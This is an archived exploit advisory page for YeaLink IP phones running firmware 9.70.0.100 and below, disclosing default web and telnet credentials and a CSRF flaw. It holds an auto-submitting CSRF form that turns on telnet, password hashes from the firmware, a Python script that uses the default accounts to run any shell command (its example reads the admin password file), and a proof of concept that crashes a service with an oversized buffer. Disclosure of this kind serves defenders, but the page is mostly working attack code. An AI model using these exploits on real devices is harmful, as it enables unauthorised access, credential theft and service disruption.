what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

YeaLink IP Phone 9.70.0.100 CSRF / Default Credentials

YeaLink IP Phone 9.70.0.100 CSRF / Default Credentials
Posted Dec 21, 2012
Authored by xistence

YeaLink IP Phone SIP TxxP firmware versions 9.70.0.100 and below suffer from default credential and cross site request forgery vulnerabilities.

tags | exploit, vulnerability, info disclosure, csrf
SHA-256 | 874405777edd847f163325edf73c03b42d16a9c2dc18c2eda37f745725d199aa

YeaLink IP Phone 9.70.0.100 CSRF / Default Credentials

Change Mirror Download
#+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 Multiple Vulnerabilities
# Date : 12-21-2012
# Author : xistence (xistence<[AT]>0x90.nl)
# Software link : http://yealink.com/SupportDownloadfiles_detail.aspx?ProductsID=64&CateID=187&flag=142
# Vendor site : http://yealink.com
# Version : 9.70.0.100 and lower
# Tested on : YeaLink IP Phone SIP-T20P (hardware VoIP phone)
#
# Vulnerability : Multiple Vulnerabilities as described below
#
#+--------------------------------------------------------------------------------------------------------------------------------+

[0x01] - Hidden page to enable telnet + CSRF

The hidden page http://<IP>/cgi-bin/ConfigManApp.com?Id=10 contains an option to enable Telnet on the phone. Only the "admin" user can access this page.
However the unprivileged user "user" can post directly to ConfigManApp.com and enable Telnet. This default user "user" has the password "user" and is unlikely to be changed by a user.

Also CSRF to enable this is possible:

<html>
<head>
<title>Enable Telnet</title> </head>
<body>
<form name="csrf" action="http://<IP>/cgi-bin/ConfigManApp.com" method="post">
<input type="hidden" name="PAGEID" value="10"/>
<input type="hidden" name="CONFIG_DATA" value="1%261%261%261%260%261%261%260%261%261%260%26%260%260%260%260%260%261%261%260%260"/>
</form>
<script> document.csrf.submit(); </script>
</body>
</html>


[0x02] - Default telnet shell users + passwords

The shell users are hardcoded in the firmware images and are always the same and can't be changed through the webinterface. So after enabling telnet through the hidden page shell access could go unnoticed.

/etc/passwd:
root:x:0:0:Root,,,:/:/bin/sh
admin:x:500:500:Admin,,,:/:/bin/sh
guest:x:501:501:Guest,,,:/:/bin/sh

/etc/shadow:
root:$1$IJZx7biF$BgyHlA/AgR27VSEBALpqn1:11876:0:99999:7:::
admin:$1$Bwt9zCNI$7rGLYt.wk.axE.6FUNFZe.:11876:0:99999:7:::
guest:$1$A3lIJ0aO$Is8Ym.J/mpNejleongGft.:11876:0:99999:7::: <- password is "guest"

/etc/group:
root:x:0:admin,root
guest:x:1:guest

The file "/tmp/.htpasswd" is world readable and contains the "admin" password for the web interface.


[0x03] - Exploit

The following exploit logs in with the unprivileged user "user" and password "user" in the web interface. Here it enables telnet, logs in with the default user "guest" and password "guest" and executes the shell command specified.
An example is to do a "cat /tmp/.htpasswd" to retrieve the admin password for the web interface.


#!/usr/bin/python

import urllib, urllib2, getpass, sys, telnetlib

print ""
print "[*] YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 hidden page telnet enabler + default guest shell account command execution - xistence (xistence<[at]>0x90.nl) - 2012-12-21"
print ""
if (len(sys.argv) != 3):
print "[*] Usage: " + sys.argv[0] + " <IP of Phone> <command to execute>"
print "[*] i.e.:" + sys.argv[0] + " 127.0.0.1 \"cat /tmp/.htpasswd\""
print ""
exit(0)

phoneIP = sys.argv[1]
shellCmd = sys.argv[2]

phoneUrl = 'http://%s/cgi-bin/ConfigManApp.com' % phoneIP
webUser = 'user'
webPass = 'user'
telnetUser = 'guest'
telnetPass = 'guest'

passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
passman.add_password(None, phoneUrl, webUser, webPass)
authhandler = urllib2.HTTPBasicAuthHandler(passman)
opener = urllib2.build_opener(authhandler)
urllib2.install_opener(opener)
post_params = urllib.urlencode([("PAGEID", "10"), ("CONFIG_DATA", "1%261%261%261%260%261%261%260%261%261%260%26%260%260%260%260%260%261%261%260%260")])

print "[*] Enable telnet on [ %s ] by posting directly to the hidden page with PAGEID=10 parameter as unprivileged user [ user ]" % phoneUrl
pagehandle = urllib2.urlopen(phoneUrl, post_params)

print "[*] Making telnet connection to [ %s ] with default user [ %s ] and password [ %s ]" % ( phoneIP, telnetUser, telnetPass )
tn = telnetlib.Telnet(phoneIP)

tn.read_until("IPPHONE login: ")
tn.write(telnetUser + "\n")
if telnetPass:
tn.read_until("Password: ")
tn.write(telnetPass + "\n")

tn.read_until("$")
print "[*] Executing shell command [ %s ]" % shellCmd
tn.write( shellCmd + '\n' )
tn.read_until( shellCmd )
print tn.read_until("$").strip("$ ")
tn.write("exit\n")
tn.read_all()


[0x04] - Remote "/yealink/bin/macd" buffer overflow crash PoC

The following PoC exploit will crash the "/yealink/bin/macd" process on port "12345"



#!/usr/bin/python

import socket,sys,time,struct

if len(sys.argv) < 2:
print "[*] YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 /yealink/bin/macd remote buffer overflow crash PoC - xistence (xistence<[at]>0x90.nl) - 2012-12-21"
print "[-] Usage: %s <target addr> " % sys.argv[0]

sys.exit(0)

target = sys.argv[1]

if len(sys.argv) > 2:
platform = sys.argv[2]

buffer = "\x41"*75

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((target,12345))
except:
print "[-] Connection to "+target+" failed!"
sys.exit(0)

print "[*] YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 /yealink/bin/macd remote buffer overflow crash PoC - xistence (xistence<[at]>0x90.nl) - 2012-12-21"
print "[*] Sending " + `len(buffer)` + " byte crash"

s.send(buffer + "\r\n")
s.recv(1024)

Login or Register to add favorites

File Archive:

June 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    18 Files
  • 2
    Jun 2nd
    13 Files
  • 3
    Jun 3rd
    0 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    32 Files
  • 6
    Jun 6th
    39 Files
  • 7
    Jun 7th
    22 Files
  • 8
    Jun 8th
    17 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    0 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close